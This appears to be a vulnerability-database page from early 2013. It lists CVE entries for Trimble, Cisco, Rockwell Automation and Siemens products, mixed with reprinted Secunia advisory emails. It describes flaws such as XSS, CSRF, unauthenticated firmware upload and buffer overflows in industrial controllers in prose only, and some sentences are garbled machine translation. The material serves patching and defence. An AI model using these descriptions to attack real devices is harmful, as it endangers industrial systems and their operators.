Cross-site scripting (XSS) vulnerability in the Receiver Web User Interface on Trimble Infrastructure GNSS Series Receivers NetR3, NetR5, NetR8, and NetR9 before 4.70, and NetRS before 1.3-2, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. The Trimble Infrastructure GNSS Series Receivers is a GPS satellite receiver.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Trimble NetRS Unspecified Cross-Site Scripting Vulnerability
SECUNIA ADVISORY ID:
SA51859
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/51859/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=51859
RELEASE DATE:
2013-01-16
DISCUSS ADVISORY:
http://secunia.com/advisories/51859/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/51859/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=51859
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Deloitte has reported a vulnerability in Trimble NetRS, which can be
exploited by malicious people to conduct cross-site scripting
attacks.
Certain unspecified input is not properly sanitised before being
returned to the user.
The vulnerability is reported in firmware versions prior to 1.3-2.
SOLUTION:
Update to firmware version 1.3-2.
PROVIDED AND/OR DISCOVERED BY:
Fara Rustein, Deloitte.
ORIGINAL ADVISORY:
Trimble:
http://trl.trimble.com/docushare/dsweb/Get/Document-636664/NetRS_1%203-2_RelNotes.pdf
DTTAR-20130001:
http://archives.neohapsis.com/archives/bugtraq/2013-01/0063.html
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201301-0347 | CVE-2013-1108 | Cisco WebEx Training Center Vulnerable to deleting hands-on lab session reservations |
CVSS V2: 4.0 CVSS V3: - Severity: MEDIUM |
Cisco WebEx Training Center allows remote authenticated users to remove hands-on lab-session reservations via a crafted URL, aka Bug ID CSCzu81064.
Attackers can exploit this issue to bypass security restrictions to perform unauthorized actions; this may aid in launching further attacks
| VAR-201301-0348 | CVE-2013-1109 | Cisco WebEx Training Center Vulnerable to cross-site request forgery |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Cross-site request forgery (CSRF) vulnerability in testingLibraryAction.do in the Training Center testing library in Cisco WebEx Training Center allows remote attackers to hijack the authentication of arbitrary users for requests that delete tests, aka Bug ID CSCzu81067.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.
This issue is being tracked by Cisco Bug ID CSCzu81067
| VAR-201301-0150 | CVE-2012-6395 | Cisco Adaptive Security Appliances Service disruption in ( Device crash ) Vulnerabilities |
CVSS V2: 6.3 CVSS V3: - Severity: MEDIUM |
Cisco Adaptive Security Appliances (ASA) devices with firmware 8.4 do not properly validate unspecified input related to UNC share pathnames, which allows remote authenticated users to cause a denial of service (device crash) via unknown vectors, aka Bug ID CSCuc65775. The problem is Bug ID CSCuc65775 It is a problem.Service disruption by remotely authenticated user ( Device crash ) There is a possibility of being put into a state.
An authenticated attacker can exploit this issue to cause a crash, denying service to legitimate users.
Cisco Adaptive Security Appliances (ASA) 8.4 is vulnerable; other versions may also be affected.
This issue is being tracked by Cisco Bug ID CSCuc65775. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Cisco Adaptive Security Appliance CIFS UNC Handling Denial of Service
Vulnerability
SECUNIA ADVISORY ID:
SA51955
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/51955/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=51955
RELEASE DATE:
2013-01-28
DISCUSS ADVISORY:
http://secunia.com/advisories/51955/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/51955/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=51955
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Cisco Adaptive Security
Appliances (ASA), which can be exploited by malicious users to cause
a DoS (Denial of Service).
The vulnerability is caused due to an error when handling CIFS UNC
input and can be exploited to cause a crash.
The vulnerability is reported in version 8.4.
SOLUTION:
Contact the vendor for patches.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2012-6395
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201301-0040 | CVE-2012-5429 | Windows upper Cisco VPN Client Service disruption in ( Kernel fault and System crash ) Vulnerabilities |
CVSS V2: 4.6 CVSS V3: - Severity: MEDIUM |
The VPN driver in Cisco VPN Client on Windows does not properly interact with the kernel, which allows local users to cause a denial of service (kernel fault and system crash) via a crafted application, aka Bug ID CSCuc81669.
A local attacker can exploit this issue to crash the system, resulting in denial-of-service conditions.
This issue is being tracked by Cisco bug ID CSCuc81669. The vulnerability is caused by the program not interacting with the kernel properly
| VAR-201301-0041 | CVE-2012-5444 | Cisco TelePresence Video Communication Server Vulnerabilities in creating meetings |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Cisco TelePresence Video Communication Server (VCS) X7.0.3 does not properly process certain search rules, which allows remote attackers to create conferences via an unspecified Conductor request, aka Bug ID CSCub67989. The problem is Bug ID CSCub67989 It is a problem.Unspecified by a third party Conductor A meeting may be created via a request.
Successful exploits may allow an attacker to bypass intended security restrictions. This may aid in further attacks.
This issue is being tracked by Cisco Bug ID CSCub67989. The solution provides components such as audio and video spaces, which can provide remote participants with a "face-to-face" virtual meeting room effect. A remote attacker could exploit this vulnerability to create a conference through an unidentified Conductor request
| VAR-201301-0157 | CVE-2012-6440 |
Rockwell Automation ControlLogix Replay Vulnerability
Related entries in the VARIoT exploits database: VAR-E-201301-0013 |
CVSS V2: 9.3 CVSS V3: 4.8 Severity: HIGH |
The Web server password authentication mechanism used by the products is vulnerable to a MitM and Replay attack. Successful exploitation of this vulnerability will allow unauthorized access of the product’s Web server to view and alter product configuration and diagnostics information.
Rockwell Automation EtherNet/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 1400. Rockwell Automation MicroLogix is a programmable controller platform. Rockwell's products are affected by this vulnerability: all EtherNet/IP products that comply with CIP and EtherNet/IP specifications.
Attackers can exploit this vulnerability to bypass certain security restrictions, perform unauthorized actions; which may aid in further attacks
| VAR-201301-0154 | CVE-2012-6437 |
Rockwell Automation ControlLogix Firmware upload vulnerability
Related entries in the VARIoT exploits database: VAR-E-201301-0013 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: HIGH |
The device does not properly authenticate users and the potential exists for a remote user to upload a new firmware image to the Ethernet card, whether it is a corrupt or legitimate firmware image. Successful exploitation of this vulnerability could cause loss of availability, integrity, and confidentiality and a disruption in communications with other connected devices.
Rockwell Automation EtherNet/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 1400. plural Rockwell Automation Products, Ethernet There is a vulnerability that allows arbitrary code to be executed due to improper authentication when updating firmware.A third party may be able to execute arbitrary code via a Trojan update image. Rockwell Automation MicroLogix is a programmable controller platform. Rockwell's products are affected by this vulnerability: all EtherNet/IP products that comply with CIP and EtherNet/IP specifications
| VAR-201301-0153 | CVE-2012-6436 |
plural Rockwell Automation Product buffer overflow vulnerability
Related entries in the VARIoT exploits database: VAR-E-201301-0013 |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
The device does not properly validate the data being sent to the buffer. An attacker can send a malformed CIP packet to Port 2222/TCP, Port 2222/UDP, Port 44818/TCP, or Port 44818/UDP, which creates a buffer overflow and causes the CPU to crash. Successful exploitation of this vulnerability could cause loss of availability and a disruption in communications with other connected devices.
Rockwell Automation EtherNet/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 1400. plural Rockwell Automation The product contains a buffer overflow vulnerability.Malformed by a third party CIP Service disruption via packets (CPU Crashes and communication outages ) There is a possibility of being put into a state. Rockwell Automation MicroLogix is a programmable controller platform. Rockwell's products are affected by this vulnerability: all EtherNet/IP products that comply with CIP and EtherNet/IP specifications.
An attacker can exploit this issue to cause the NIC to crash, denying service to legitimate users
| VAR-201301-0155 | CVE-2012-6438 |
plural Rockwell Automation Product buffer overflow vulnerability
Related entries in the VARIoT exploits database: VAR-E-201301-0013 |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
The device does not properly validate the data being sent to the buffer. An attacker can send a malformed CIP packet to Port 2222/TCP, Port 2222/UDP, Port 44818/TCP, or Port 44818/UDP, which creates a buffer overflow and causes the NIC to crash. Successful exploitation of this vulnerability could cause loss of availability and a disruption in communications with other connected devices.
Rockwell Automation EtherNet/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 1400. plural Rockwell Automation The product contains a buffer overflow vulnerability.Malformed by a third party CIP Service disruption via packets (NIC Crashes and communication outages ) There is a possibility of being put into a state. Rockwell Automation MicroLogix is a programmable controller platform. Rockwell's products are affected by this vulnerability: all EtherNet/IP products that comply with CIP and EtherNet/IP specifications.
An attacker can exploit this issue to cause the NIC to crash, denying service to legitimate users
| VAR-201301-0374 | CVE-2013-0656 | Siemens SIMATIC RF Manager ActiveX Control Buffer Overflow Vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Buffer overflow in a third-party ActiveX component in Siemens SIMATIC RF-MANAGER 2008, and RF-MANAGER Basic 3.0 and earlier, allows remote attackers to execute arbitrary code via a crafted web site. Siemens SIMATIC RF Manager is an RFID reader engineering and configuration tool. The Siemens SIMATIC RF Manager ActiveX control is prone to a remote buffer-overflow vulnerability.
An attacker can exploit this issue by enticing an unsuspecting user to view a malicious webpage. Siemens SIMATIC is an automation software with a single engineering environment. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Siemens SIMATIC RF Manager ActiveX Control Buffer Overflow
Vulnerability
SECUNIA ADVISORY ID:
SA51845
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/51845/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=51845
RELEASE DATE:
2013-01-14
DISCUSS ADVISORY:
http://secunia.com/advisories/51845/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/51845/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=51845
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Siemens SIMATIC RF Manager,
which can be exploited by malicious people to compromise a user's
system.
The vulnerability is caused due to an error in an unspecified ActiveX
control and can be exploited to cause a buffer overflow.
Successful exploitation may allow execution of arbitrary code.
The vulnerability is reported in RF-MANAGER 2008 and RF-MANAGER Basic
versions 3.0 and prior.
SOLUTION:
Patch is available by contacting vendor support (see the vendor's
advisory for more details).
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-099741.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------